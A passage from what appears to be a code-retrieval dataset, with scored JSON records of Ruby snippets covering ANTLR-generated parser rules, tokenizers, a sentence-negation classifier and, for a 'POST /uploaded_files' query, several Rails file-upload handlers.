"text": "def term()\n\n\n begin\n @ruleStack.push('term')\n # roll.g:49:6: ( ( unit | ) ( DICE ( PERCENT | unit ) )* )\n # roll.g:49:6: ( unit | ) ( DICE ( PERCENT | unit ) )*\n\n # roll.g:49:6: ( unit | )\n alt3 = 2\n look_ahead3_0 = input.look_ahead(1).token_type\n if (look_ahead3_0 >= INTEGER && look_ahead3_0 <= LPAREN) \n alt3 = 1\n elsif look_ahead3_0 == -1 || (look_ahead3_0 >= PLUS && look_ahead3_0 <= DICE) || look_ahead3_0 == RPAREN \n alt3 = 2\n else\n\n nvae = ANTLR::NoViableAltException.new(\"49:6: ( unit | )\", 3, 0, @input)\n\n raise nvae\n end\n case alt3\n when 1\n # roll.g:49:7: unit\n\n #@following.push(FOLLOW_unit_in_term149)\n unit()\n #@following.pop\n\n\n\n\n when 2\n # roll.g:49:14: \n\n @stack.push(1) \n\n\n\n\n end\n\n\n # roll.g:50:6: ( DICE ( PERCENT | unit ) )*\n #catch (:loop5) do\n \twhile true\n \t\talt5 = 2\n \t\tlook_ahead5_0 = input.look_ahead(1).token_type\n \t\tif look_ahead5_0 == DICE \n \t\t alt5 = 1\n\n \t\tend\n\n \t\tcase alt5\n \t\t\twhen 1\n \t\t\t # roll.g:50:7: DICE ( PERCENT | unit )\n\n \t\t\t match(DICE, nil) # FOLLOW_DICE_in_term163\n\n\n \t\t\t # roll.g:50:12: ( PERCENT | unit )\n \t\t\t alt4 = 2\n \t\t\t look_ahead4_0 = input.look_ahead(1).token_type\n \t\t\t if look_ahead4_0 == PERCENT \n \t\t\t alt4 = 1\n \t\t\t elsif (look_ahead4_0 >= INTEGER && look_ahead4_0 <= LPAREN) \n \t\t\t alt4 = 2\n \t\t\t else\n\n \t\t\t nvae = ANTLR::NoViableAltException.new(\"50:12: ( PERCENT | unit )\", 4, 0, @input)\n\n \t\t\t raise nvae\n \t\t\t end\n \t\t\t case alt4\n \t\t\t when 1\n \t\t\t # roll.g:50:13: PERCENT\n\n \t\t\t match(PERCENT, nil) # FOLLOW_PERCENT_in_term166\n\n\n \t\t\t @stack.push(100) \n\n\n\n \t\t\t when 2\n \t\t\t # roll.g:50:44: unit\n\n \t\t\t #@following.push(FOLLOW_unit_in_term172)\n \t\t\t unit()\n \t\t\t #@following.pop\n\n\n\n\n\n \t\t\t end\n\n\n \t\t\t \n \t\t\t side = @stack.pop\n \t\t\t time = @stack.pop\n \t\t\t result = 0\n \t\t\t time.times { result += rand(side) + 1 }\n \t\t\t @stack.push(result)\n \t\t\t \n\n\n\n\n \t\t\telse\n \t\t\t\tbreak\n \t\t\t\t#throw :loop5\n \t\tend\n \tend\n #end\n\n\n\n\n rescue ANTLR::RecognitionException => e\n report_error(e)\n #raise e\n ensure\n @ruleStack.pop\n end\n\n end",
"title": ""
},
{
"docid": "a1e6c94236d086d2ac43e8721c04b5ae",
"score": "0.47892302",
"text": "def type_phrase\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 32 )\n\n\n return_value = TypePhraseReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n\n root_0 = nil\n\n __IDENT150__ = nil\n\n\n tree_for_IDENT150 = nil\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 201:15: ( IDENT )+\n # at file 201:15: ( IDENT )+\n match_count_15 = 0\n while true\n alt_15 = 2\n look_15_0 = @input.peek( 1 )\n\n if ( look_15_0 == IDENT )\n alt_15 = 1\n\n end\n case alt_15\n when 1\n # at line 201:16: IDENT\n __IDENT150__ = match( IDENT, TOKENS_FOLLOWING_IDENT_IN_type_phrase_1016 )\n tree_for_IDENT150 = @adaptor.create_with_payload( __IDENT150__ )\n @adaptor.add_child( root_0, tree_for_IDENT150 )\n\n\n\n else\n match_count_15 > 0 and break\n eee = EarlyExit(15)\n\n\n raise eee\n end\n match_count_15 += 1\n end\n\n\n\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 32 )\n\n\n end\n\n return return_value\n end",
"title": ""
},
{
"docid": "4d8c2de25046561a0ce3bf49d58cd227",
"score": "0.47843695",
"text": "def termdef_subclause_cleanup(xmldoc)\n xmldoc.xpath(\"//annex//clause[terms]\").each do |t|\n next unless t.xpath(\"./clause | ./terms | ./definitions\").size == 1\n\n t.children.each { |n| n.parent = t.parent }\n t.remove\n end\n end",
"title": ""
},
{
"docid": "9562ec619c6e7fb429e35e267635af05",
"score": "0.4782313",
"text": "def parse_term()\n # puts \"parsing term\"\n term = parse_power\n if @tokens.first.kind == Token::MULT\n # Case: Term is a term * power\n # Return: Evaluated term * power\n @tokens.shift\n return term * parse_term\n elsif @tokens.first.kind == Token::DIV\n # Case: Term is a term / power\n # Return: Evaluated term / power\n @tokens.shift\n return term / parse_term\n else\n # Case: Term is a power\n # Return: Evaluated term\n return term\n end\n end",
"title": ""
},
{
"docid": "b1c83ef9ee07105241756e9827bb9091",
"score": "0.47784173",
"text": "def _obs_hyphen_phrase_hyphen_list\n\n _save = self.pos\n while true # choice\n _tmp = apply(:_phrase)\n break if _tmp\n self.pos = _save\n\n _save1 = self.pos\n while true # sequence\n _save2 = self.pos\n\n _save3 = self.pos\n while true # sequence\n _save4 = self.pos\n _tmp = apply(:_phrase)\n unless _tmp\n _tmp = true\n self.pos = _save4\n end\n unless _tmp\n self.pos = _save3\n break\n end\n _save5 = self.pos\n _tmp = apply(:_CFWS)\n unless _tmp\n _tmp = true\n self.pos = _save5\n end\n unless _tmp\n self.pos = _save3\n break\n end\n _tmp = match_string(\",\")\n unless _tmp\n self.pos = _save3\n break\n end\n _save6 = self.pos\n _tmp = apply(:_CFWS)\n unless _tmp\n _tmp = true\n self.pos = _save6\n end\n unless _tmp\n self.pos = _save3\n end\n break\n end # end sequence\n\n if _tmp\n while true\n\n _save7 = self.pos\n while true # sequence\n _save8 = self.pos\n _tmp = apply(:_phrase)\n unless _tmp\n _tmp = true\n self.pos = _save8\n end\n unless _tmp\n self.pos = _save7\n break\n end\n _save9 = self.pos\n _tmp = apply(:_CFWS)\n unless _tmp\n _tmp = true\n self.pos = _save9\n end\n unless _tmp\n self.pos = _save7\n break\n end\n _tmp = match_string(\",\")\n unless _tmp\n self.pos = _save7\n break\n end\n _save10 = self.pos\n _tmp = apply(:_CFWS)\n unless _tmp\n _tmp = true\n self.pos = _save10\n end\n unless _tmp\n self.pos = _save7\n end\n break\n end # end sequence\n\n break unless _tmp\n end\n _tmp = true\n else\n self.pos = _save2\n end\n unless _tmp\n self.pos = _save1\n break\n end\n _save11 = self.pos\n _tmp = apply(:_phrase)\n unless _tmp\n _tmp = true\n self.pos = _save11\n end\n unless _tmp\n self.pos = _save1\n end\n break\n end # end sequence\n\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n set_failed_rule :_obs_hyphen_phrase_hyphen_list unless _tmp\n return _tmp\n end",
"title": ""
},
{
"docid": "a28181b1f485808fe65c6ff139545f2f",
"score": "0.47765866",
"text": "def words\n phrase.split\n end",
"title": ""
},
{
"docid": "c6c0f54a5b69945e8a803f56bc131726",
"score": "0.47736874",
"text": "def terms_participated\n mentor_terms.collect{|mt| mt.try(:mentor_term_group).try(:term)}.uniq.count\n end",
"title": ""
},
{
"docid": "13ddba704d6b094969fca6dd27e4e508",
"score": "0.47713003",
"text": "def split_words(sym); end",
"title": ""
},
{
"docid": "2f2878dad43c4af171026586a90f9faf",
"score": "0.47711992",
"text": "def sentence_state(sentence)\n interim_noun_verb = false # 0 indicates no interim nouns or verbs\n prev_negative_word = ''\n state = POSITIVE\n\n # iterate through the tokens to determine state\n tokens = sentence.split(' ')\n tokens.each_with_index do |tagged_token, i|\n token = tagged_token.split('/').first\n\n # check type of the word\n type = if is_negative_word?(token)\n NEGATIVE_WORD # if negative word\n elsif is_negative_descriptor?(token)\n NEGATIVE_DESCRIPTOR # if negative descriptor (indirect indicators of negation)\n elsif i+1 < tokens.length && is_negative_phrase?(token + ' ' + tokens[i+1])\n NEGATIVE_PHRASE # 2-gram phrases of negative phrases\n elsif is_suggestive_word?(token)\n SUGGESTIVE # if suggestion word\n elsif i+1 < tokens.length && is_suggestive_phrase?(token + ' ' + tokens[i+1])\n SUGGESTIVE # 2-gram phrases suggestion phrases\n else\n POSITIVE # else set to positive\n end\n \n #----------------------------------------------------------------------\n # compare 'type' with the existing STATE of the sentence clause\n # after type is identified, check its state and compare it to the existing state\n # if present state is negative and an interim non-negative or non-suggestive word was found, set the flag to true\n if type == POSITIVE && [NEGATIVE_WORD, NEGATIVE_DESCRIPTOR, NEGATIVE_PHRASE].include?(state)\n if %w(NN PR VB MD).any? { |str| tagged_token.include?(str) }\n interim_noun_verb = true\n end\n end \n\n case state\n when POSITIVE\n state = type\n\n when NEGATIVE_WORD\n case type\n when NEGATIVE_WORD\n # these words embellish the negation, so only if the previous word was not one of them you make it positive\n if %w(NO NEVER NONE).any? { |word| prev_negative_word.casecmp(word) != 0 }\n state = POSITIVE # e.g: \"not had no work..\", \"doesn't have no work..\", \"its not that it doesn't bother me...\"\n else\n state = NEGATIVE_WORD # e.g: \"no it doesn't help\", \"no there is no use for ...\"\n end\n interim_noun_verb = false # reset\n\n when NEGATIVE_DESCRIPTOR, NEGATIVE_PHRASE\n state = POSITIVE # e.g.: \"not bad\", \"not taken from\", \"I don't want nothing\", \"no code duplication\"// [\"It couldn't be more confusing..\"- anomaly we dont handle this for now!]\n interim_noun_verb = false # reset\n\n when SUGGESTIVE\n # e.g. \"it is not too useful as people could...\", what about this one?\n if interim_noun_verb # there are some words in between\n state = NEGATIVE_WORD\n else\n state = SUGGESTIVE # e.g.:\"I do not(-) suggest(S) ...\"\n end\n interim_noun_verb = false # reset\n end\n\n when NEGATIVE_DESCRIPTOR\n case type\n when NEGATIVE_WORD\n if interim_noun_verb # there are some words in between\n state = NEGATIVE_WORD # e.g: \"hard(-) to understand none(-) of the comments\"\n else\n state = POSITIVE # e.g.\"He hardly not....\"\n end\n interim_noun_verb = false # reset\n\n when NEGATIVE_DESCRIPTOR\n if interim_noun_verb # there are some words in between\n state = NEGATIVE_DESCRIPTOR # e.g:\"there is barely any code duplication\"\n else\n state = POSITIVE # e.g.\"It is hardly confusing..\", but what about \"it is a little confusing..\"\n end\n interim_noun_verb = false # reset\n\n when NEGATIVE_PHRASE\n if interim_noun_verb # there are some words in between\n state = NEGATIVE_PHRASE # e.g:\"there is barely any code duplication\"\n else\n state = POSITIVE # e.g.:\"it is hard and appears to be taken from\"\n end\n interim_noun_verb = false # reset\n\n when SUGGESTIVE\n state = SUGGESTIVE # e.g.:\"I hardly(-) suggested(S) ...\"\n interim_noun_verb = false # reset\n end\n\n # when state is a negative phrase\n when NEGATIVE_PHRASE\n case type\n when NEGATIVE_WORD\n if interim_noun_verb == true # there are some words in between\n state = NEGATIVE_WORD # e.g.\"It is too short the text and doesn't\"\n else\n state = POSITIVE # e.g.\"It is too short not to contain..\"\n end\n interim_noun_verb = false # reset\n\n when NEGATIVE_DESCRIPTOR\n state = NEGATIVE_DESCRIPTOR # e.g.\"It is too short barely covering...\"\n interim_noun_verb = false # reset\n\n when NEGATIVE_PHRASE\n state = NEGATIVE_PHRASE # e.g.:\"it is too short, taken from ...\"\n interim_noun_verb = false # resetting\n\n when SUGGESTIVE\n state = SUGGESTIVE # e.g.:\"I too short and I suggest ...\"\n interim_noun_verb = false # resetting\n end\n\n # when state is suggestive\n when SUGGESTIVE # e.g.:\"I might(S) not(-) suggest(S) ...\"\n case type\n when NEGATIVE_DESCRIPTOR\n state = NEGATIVE_DESCRIPTOR\n\n when NEGATIVE_PHRASE\n state = NEGATIVE_PHRASE\n end\n # e.g.:\"I suggest you don't..\" -> suggestive\n interim_noun_verb = false # reset\n end\n\n # set the prevNegativeWord\n if %w(NO NEVER NONE).any? { |word| token.casecmp(word) == 0 }\n prev_negative_word = token\n end\n end\n \n if [NEGATIVE_DESCRIPTOR, NEGATIVE_WORD, NEGATIVE_PHRASE].include?(state)\n state = NEGATED\n end\n \n state\n end",
"title": ""
},
{
"docid": "4fb5416afa4f971273adb296119df23d",
"score": "0.47692886",
"text": "def tokens\n words.each_with_object([]) do |word, tokens|\n tokens << word + word_terminator\n word.length.downto(1).each do |last_index|\n tokens << word.slice(0, last_index)\n end\n end\n end",
"title": ""
},
{
"docid": "c30fa59b4fa62f7ce10b399354e3370a",
"score": "0.47683427",
"text": "def tokenizer(aTextToParse, aGrammar)\n tokens = aTextToParse.scan(/\\S+/).map do |word|\n term_name = Lexicon[word]\n raise StandardError, \"Word '#{word}' not found in lexicon\" if term_name.nil?\n terminal = aGrammar.name2symbol[term_name]\n Rley::Lexical::Token.new(word, terminal)\n end\n \n return tokens\nend",
"title": ""
},
{
"docid": "c30fa59b4fa62f7ce10b399354e3370a",
"score": "0.47683427",
"text": "def tokenizer(aTextToParse, aGrammar)\n tokens = aTextToParse.scan(/\\S+/).map do |word|\n term_name = Lexicon[word]\n raise StandardError, \"Word '#{word}' not found in lexicon\" if term_name.nil?\n terminal = aGrammar.name2symbol[term_name]\n Rley::Lexical::Token.new(word, terminal)\n end\n \n return tokens\nend",
"title": ""
},
{
"docid": "c17512a1cf552db3457f6b35e0733582",
"score": "0.4767161",
"text": "def token_range_for_subtree node\n first_text_element = nil\n last_text_element = nil\n # Traverse the node tree in search of the first and last text elements\n node.traverse do |child|\n if child.text?\n last_text_element = child\n first_text_element ||= child\n end\n end\n token_range_for_text_elements first_text_element || nknode_successor_text_elmt( @nkdoc, node), \n last_text_element\n end",
"title": ""
},
{
"docid": "8d3f0334315a7288ee53835db6e17bfe",
"score": "0.47643447",
"text": "def parse_maybe(tokens, grammar, tree)\n term = self.term_names.first\n term_rule = grammar.get_rule(term)\n begin\n acc = term_rule.parse(tokens, grammar)\n acc.store(:tree, tree.merge(acc[:tree]))\n acc\n rescue InvalidSequenceParsed => pe\n parse_none(tokens, pe, tree, grammar)\n end\n end",
"title": ""
},
{
"docid": "f8ac419093f06a1aadd326a063cfcf97",
"score": "0.47591308",
"text": "def secondary_terms\n []\n end",
"title": ""
}
] |
430b79ef7a077593078e232470bb9c49
|
POST /uploaded_files POST /uploaded_files.xml
|
[
{
"docid": "1d2c3ddac5bc239607b35b3999c9e03f",
"score": "0.0",
"text": "def create\n return error_status(true, :cannot_create_uploaded_file) unless (UploadedFile.can_be_created_by(@logged_user, @page))\n \n calculate_position\n \n # Make the darn note\n @uploaded_file = @page.uploaded_files.build(params[:uploaded_file])\n @uploaded_file.created_by = @logged_user\n saved = @uploaded_file.save\n \n # And the slot, don't forget the slot\n save_slot(@uploaded_file) if saved\n\n respond_to do |format|\n if @uploaded_file.save\n flash[:notice] = 'uploaded_file was successfully created.'\n format.html { redirect_to(@uploaded_file.page) }\n format.js { render :action => 'create', :content_type => 'text/html' }\n format.xml { render :xml => @uploaded_file, :status => :created, :location => page_uploaded_file_path(:page_id => @page.id, :id => @uploaded_file.id) }\n else\n format.html { render :action => \"new\" }\n format.js { render :action => 'create', :content_type => 'text/html' }\n format.xml { render :xml => @uploaded_file.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "df75a317cad035d14f16da40bde4f5a9",
"score": "0.7024415",
"text": "def upload_xml_file(file_name, xml)\n # Creates directory if it doesn't exist\n create_upload_dir\n # Save file to server's uploads dir\n file_to_upload = File.open(Rails.root.join('public', 'uploads', file_name), \"wb\")\n file_to_upload.write(xml)\n file_to_upload.close()\n end",
"title": ""
},
{
"docid": "a272d0bdfece9636a1900918ac3dcaeb",
"score": "0.6683956",
"text": "def upload_file\n #TODO\n end",
"title": ""
},
{
"docid": "4bec694d14643ed33150ee2173fc88a7",
"score": "0.6613601",
"text": "def upload\r\n \r\n end",
"title": ""
},
{
"docid": "041c1675b36e52dacf0b07540159f134",
"score": "0.6511434",
"text": "def upload\n end",
"title": ""
},
{
"docid": "041c1675b36e52dacf0b07540159f134",
"score": "0.6511434",
"text": "def upload\n end",
"title": ""
},
{
"docid": "e3512c682b6b186df1487c624bc50f06",
"score": "0.644545",
"text": "def create\n files = params[:files]\n\n files.each do |file|\n\n filename = file.original_filename\n\n # Rack uploads have `#tempfiles` and test uploads are Tempfile objects. More\n # investigation required.\n file = file.tempfile if file.respond_to?(:tempfile)\n\n UploadStore.create(\n :key => filename,\n :body => file,\n :public => true\n )\n end\n\n render json: {status: 'success'}\n end",
"title": ""
},
{
"docid": "ffe92e556dea9f96f7ae15e0a6313522",
"score": "0.6414099",
"text": "def post(path = '/files/', params = {})\n request :post, path, params\n end",
"title": ""
},
{
"docid": "415408bfa0a312c30e3dc3470350021d",
"score": "0.63949674",
"text": "def upload_simple\r\n \r\n end",
"title": ""
},
{
"docid": "0538ad8943ba668883ae1a2c5dca49dd",
"score": "0.6373199",
"text": "def upload(opts, files)\n request(\n :post,\n \"#{opts['a']}#{UPLOAD_URL}?key=#{opts['t']}\",\n 'files'.to_sym => files\n )\n end",
"title": ""
},
{
"docid": "62f569c4183bde8763b365dbd73c99fb",
"score": "0.63653296",
"text": "def upload_upload(directory:, files:)\n upload_files = {multipart: true}\n files.each {|f| upload_files[f] = File.open(f, 'rb')}\n r = aptly_request 'POST', \"api/files/#{directory}\", payload: upload_files\n JSON.parse(r.body)\n end",
"title": ""
},
{
"docid": "3715f68597a99015461f2960251118c8",
"score": "0.63496196",
"text": "def multipart_upload\n end",
"title": ""
},
{
"docid": "42b4d72259ef1b191492bbb29e3895d1",
"score": "0.6328721",
"text": "def create_upload_request\n call(:post, upload_path)\n end",
"title": ""
},
{
"docid": "6a089fc887b14fbbb1928403fafd00eb",
"score": "0.6254229",
"text": "def upload_media_file( wikipath, filename, raw )\n p filename\n headers = {\n 'Content-Type' => 'application/octet-stream',\n 'X-File-Name' => filename\n }\n url = upload_url( wikipath, filename )\n p url\n wait_second\n pp @agent.post( url, raw, headers )\n save_uploaded( filename )\n end",
"title": ""
},
{
"docid": "0d31b03b2011f272dc6b23e081bb9994",
"score": "0.6241255",
"text": "def uploaded_file=(file); write_attribute(:uploaded_file, file); end",
"title": ""
},
{
"docid": "aca03075483efaab984475a1c82e06b7",
"score": "0.62302136",
"text": "def post_attachment(file_s)\n setup\n @req = Net::HTTP::Post.new(\"/uploads.json\")\n auth\n @req[\"Content-Type\"] = \"application/octet-stream\"\n @req[\"Content-Length\"] = file_s.length\n @req.body = file_s\n res = @http.request(@req)\n\n if res.code.to_i == 201\n return [true, JSON.load(res.body)[\"upload\"][\"token\"]]\n else\n return [false, JSON.load(res.body)[\"errors\"].first]\n end\n end",
"title": ""
},
{
"docid": "697cf08820bfdc8128eccfef2714c731",
"score": "0.6208341",
"text": "def on_post(path)\n acct = I3.server.remote_account\n local_path = DocumentFile::DOC_FILE_PATH + path\n \n # Sanity checks\n unless File.directory?(local_path)\n send_uploaded_file_response I3::NotFoundException.new(\n :message => \"The path '#{path}' could not be found.\")\n return\n end #unless\n \n if DocumentPlatform.check_permission(:write, acct, local_path).empty?\n send_uploaded_file_response I3::SecurityException.new(\n :message => \"You do not have permission to write to folder '#{path}'\")\n return\n end #if\n \n # We are good to go so far, so let's grab the file\n file = I3.server.cgi[\"fileToUpload\"]\n filename = file.filename\n \n # Internet Explorer will sometimes send the whole path. We only want the filename.\n filename = filename.split(\"\\\\\").last if filename =~ /\\w:\\\\/\n \n begin\n response = UploadedFile.save_as(filename, file, local_path)\n send_uploaded_file_response response\n \n rescue I3::SecurityException\n log.warn \"User #{acct.account_name} tried to upload a file to '#{path}' and was denied.\"\n send_uploaded_file_response $!\n \n rescue FileAlreadyExistsException\n log.warn \"User #{acct.account_name} failed to save file '#{File.join(path, filename)}'\" + \n \" (#{$!.message})\"\n response = $!.to_shared\n response.temp_file = UploadedFile.save_as_temp(file)\n response.path = path\n response.original_filename = filename\n response.overwritable = (not DocumentPlatform.check_permission(\n :write, acct, File.join(local_path, filename)).empty?)\n send_uploaded_file_response response\n rescue\n log.warn \"User #{acct.account_name} failed to save file '#{File.join(path, filename)}'\" + \n \" (#{$!.message})\"\n send_uploaded_file_response I3::ServerException.new(\n :title => \"Could not save file\", \n :message => $!.message )\n end #begin\n \n end",
"title": ""
},
{
"docid": "848c6a0e7a7683b9dcb5dd65d29ec477",
"score": "0.6114229",
"text": "def Upload file\n \n APICall(path: \"uploads.json?filename=#{file.split('/').last}\",method: 'POST',payload: File.read(file))\n \n end",
"title": ""
},
{
"docid": "7d8d7f7ba8245fc0f9ec3ad847fde1ff",
"score": "0.60702",
"text": "def test_attach_file\n# post :upload, \"note\"=>{\"title\"=>\"my note\"}, \"courseid\"=>\"806350272748085520\",\n# \"processor\"=>{\"id\"=>\"1000001\"}, \"success\"=>\"/course/806350272748085520/ACMA-320/share_notes\", \n# \"upload_id\"=>\"1169944954\", \n# \"failure\"=>\"/course/806350272748085520/ACMA-320/share_notes\"\n \n post :upload, \"noteid\"=>\"816717565610925385\", \"processor\"=>{\"id\"=>\"1000001\"}\n \n end",
"title": ""
},
{
"docid": "e2df8827dd18c47d65b859a289091884",
"score": "0.6066195",
"text": "def file_uploads; end",
"title": ""
},
{
"docid": "1540ec8cc9f28abd25883695a7bc3823",
"score": "0.6029228",
"text": "def get_files_to_upload(file_dir, dom)\n @log.info 'Figuring out which files to upload'\n\n uploaded_files = []\n\n # xpath variables\n premis_ns = { 'premis' => 'http://www.loc.gov/standards/premis' }\n mets_ns = { 'mets' => 'http://www.loc.gov/METS/' }\n checksum_xpath = 'premis:objectCharacteristics/premis:fixity/premis:messageDigest'\n original_name_xpath = 'premis:originalName'\n\n # loop over the files listed in the METS\n file_md5_list = dom.xpath('//premis:object', premis_ns)\n file_md5_list.each do |fptr|\n # file location info\n file_checksum = fptr.at_xpath(checksum_xpath, premis_ns).inner_html\n flocat_xpath = \"//mets:file[@CHECKSUM='\" + file_checksum + \"']/mets:FLocat\"\n file_location = dom.at_xpath(flocat_xpath, mets_ns)\n\n # the name of the file in the aip package and its original name\n aip_filename = file_location.attr('xlink:href')\n orig_filename = fptr.at_xpath(original_name_xpath, premis_ns).inner_html\n\n # type of file\n file_type = file_location.parent.parent.attr('USE')\n\n case file_type\n when 'THUMBNAIL'\n if @config['include_thumbnail']\n uploaded_file = upload_file(file_dir, orig_filename, aip_filename, 'thumbnail')\n uploaded_files.push(uploaded_file) unless uploaded_file.nil?\n end\n when 'ORIGINAL'\n uploaded_file = upload_file(file_dir, orig_filename, aip_filename, 'bitstream')\n uploaded_files.push(uploaded_file) unless uploaded_file.nil?\n end\n end\n\n uploaded_files\nend",
"title": ""
},
{
"docid": "21b6a89b2cd6d2660d79695980960794",
"score": "0.60209996",
"text": "def post_upload(original_params,\n original_payload)\n\n call_tapi('POST',\n '/',\n original_params,\n original_payload,\n do_upload: true)\n end",
"title": ""
},
{
"docid": "a74257788301ba7fc82af66a82e10e2c",
"score": "0.6004663",
"text": "def upload\n secure_silence_logs do\n return bad_request unless params[:file] && params[:title] && current_account\n is_file = params[:file].respond_to?(:path)\n if !is_file && !(URI.parse(params[:file]) rescue nil)\n return bad_request(:error => \"The 'file' parameter must be the contents of a file or a URL.\")\n end\n \n if params[:file_hash] && Document.accessible(current_account, current_organization).exists?(:file_hash=>params[:file_hash])\n return conflict(:error => \"This file is a duplicate of an existing one you have access to.\")\n end\n params[:url] = params[:file] unless is_file\n @response = Document.upload(params, current_account, current_organization).canonical\n render_cross_origin_json\n end\n end",
"title": ""
},
{
"docid": "80def088f79728837c4d6da19aa7c26f",
"score": "0.5994797",
"text": "def files_post(file, opts = {})\n files_post_with_http_info(file, opts)\n end",
"title": ""
},
{
"docid": "97081f7a37add5eb849dfd0ef110b4d9",
"score": "0.59901",
"text": "def post_multipart(url, data, filename, headers = {})\n request(:post, url, headers, {:data => data, :file => filename, :multipart => true})\n end",
"title": ""
},
{
"docid": "e8073f284b2ed2e36d55eea7fc0b41b9",
"score": "0.5982157",
"text": "def upload\n\t@uploaded_doc = { :workbook => RubyXL::Parser.new } \t\n#\t@uploaded_io = params[:file]\n end",
"title": ""
},
{
"docid": "5a69ae0f0e9f0f20468d5d7e37e0b67d",
"score": "0.5977482",
"text": "def upload(params)\n self.class.post('/files.upload', body: params.merge({token: @token})).tap do |response|\n raise \"error uploading file: #{response.fetch('error', 'unknown error')}\" unless response['ok']\n end\n end",
"title": ""
},
{
"docid": "5fc01d1c09d65bc61965b52d8a2c3aea",
"score": "0.59588575",
"text": "def upload(file, someone)\n end",
"title": ""
},
{
"docid": "ab3a5f0d7ff846a76ed81ab99dc0a027",
"score": "0.59585214",
"text": "def files_upload(params = {})\n response = @session.do_post \"#{SCOPE}.upload\", params\n Slack.parse_response(response)\n end",
"title": ""
},
{
"docid": "e1fd678c16bed01f345701b6a2ceaab3",
"score": "0.5944899",
"text": "def rest_post_upload(uri,filepath)\n response = RestClient::Request.execute(method: :post, \n url: uri,\n user: @rest_user, \n password: @rest_passwd,\n payload: {:multipart => true, :file => File.new(filepath)}, \n headers: {content_type: @rest_cont_type, accept: @rest_accept_type}\n )\n @resp_headers=response.headers\n @resp_code=response.code\n @resp_body=response.body \n return response\n end",
"title": ""
},
{
"docid": "e70162647c14af557c6f53790d4757a4",
"score": "0.5932625",
"text": "def upload\n create_document\n \n render_upload\n end",
"title": ""
},
{
"docid": "3bc5522a7f9eeaf902e2426be122d6da",
"score": "0.59323144",
"text": "def upload\n if File.exists?(file_path = \"/home/redroid/motion_detection_images/#{params[:img]}.jpg\")\n send_403_forbidden\n else\n File.open(file_path, 'wb') { |file| file.write(request.raw_post)}\n send_200_ok\n end\nend",
"title": ""
},
{
"docid": "1f7c4e7868bafd02bcd0fbdef54dfb93",
"score": "0.59191215",
"text": "def upload\n self._create params[:upfile], params[:pictitle]\n end",
"title": ""
},
{
"docid": "c582ff37fab2efa07a9523e3dc6d2cc0",
"score": "0.5903602",
"text": "def upload\n \tset_up_instances_variable\n \tuploaded_io = @tree.file\n \t@nome_arquivo = Rails.root.join('public', 'uploads', uploaded_io.original_filename)\n \tFile.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'wb') do |file|\n \t\tfile.write(uploaded_io.read)\n \tend\n \tler_texto @nome_arquivo\n end",
"title": ""
},
{
"docid": "663e09abfff1d3f7a99443761363bb6e",
"score": "0.5894612",
"text": "def upload(path)\n name = ::File.basename(path)\n data = ::File.read(path)\n _post_with_file(\"/files\", file: data, filename: name) { |json| json }\n end",
"title": ""
},
{
"docid": "3c410a0e97d64524b8e680ec03aaffd6",
"score": "0.58942723",
"text": "def file_upload(params_userfile)\n content_upload(params_userfile.read)\n end",
"title": ""
},
{
"docid": "fa5feabbc370635910be8b92daaf92f2",
"score": "0.5891427",
"text": "def file_upload\n redirect_to wip_path()\n # TODO file_upload_wip\n end",
"title": ""
},
{
"docid": "040cd267dd37c4b579ec4134b4905568",
"score": "0.5881827",
"text": "def post_file_to_server id, content, size, page_count, extension = \".jpg\"\n\n @s.execute_file_post @s.url_for(\"system/pool/createfile.#{id}.page#{page_count}-#{size}\"), \"thumbnail\", \"thumbnail\", content, related_mimetype(extension)\n alt_url = @s.url_for(\"p/#{id}/page#{page_count}.#{size}\" + extension)\n @s.execute_post alt_url, {\"sakai:excludeSearch\" => true}\n log \"Uploaded image to curl #{alt_url}\"\nend",
"title": ""
},
{
"docid": "75dddc7abc04e4acb9b00ce7067c7419",
"score": "0.5863086",
"text": "def index\n @uploaded_files = @page.uploaded_files.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @uploaded_files }\n end\n end",
"title": ""
},
{
"docid": "11e05a542dfd51a91e93c1013c60a1f4",
"score": "0.5835992",
"text": "def post_file(url, filename, headers = {})\n request(:post, url, headers, :file => filename)\n end",
"title": ""
},
{
"docid": "11e05a542dfd51a91e93c1013c60a1f4",
"score": "0.5835992",
"text": "def post_file(url, filename, headers = {})\n request(:post, url, headers, :file => filename)\n end",
"title": ""
},
{
"docid": "4c34f2b7bc599dab689ae22a59493375",
"score": "0.5827333",
"text": "def upload(remote_path, contents)\n end",
"title": ""
},
{
"docid": "ddb0b68496db595db871d64f16fad68d",
"score": "0.581744",
"text": "def file_upload(path)\n content_type = MIME::Types.type_for(path).first.to_s\n Rack::Test::UploadedFile.new(path, content_type)\n end",
"title": ""
},
{
"docid": "ef2916ed9c98ab900da8c63688cbd974",
"score": "0.58099395",
"text": "def client_side_multipart_upload\n end",
"title": ""
},
{
"docid": "ccbeec4221b3041236e7c8b76247859c",
"score": "0.5805655",
"text": "def post_multipart(method, params = {})\n url = make_url method, {}\n url.query = nil\n\n boundary, data = make_multipart params\n\n req = Net::HTTP::Post.new url.path\n req.content_type = \"multipart/form-data; boundary=#{boundary}\"\n req.body = data\n\n res = Net::HTTP.start url.host, url.port do |http|\n http.request req\n end\n\n xml = Nokogiri::XML(res.body, nil, nil, 0)\n\n check_error xml\n\n parse_response xml\n rescue SystemCallError, SocketError, Timeout::Error, IOError,\n Nokogiri::XML::SyntaxError => e\n raise CommunicationError.new(e)\n rescue Net::HTTPError => e\n xml = Nokogiri::XML(e.res.body, nil, nil, 0)\n check_error xml\n raise CommunicationError.new(e)\n end",
"title": ""
},
{
"docid": "dbf20cbe0510fdfc9d431bdfdec25c59",
"score": "0.5800894",
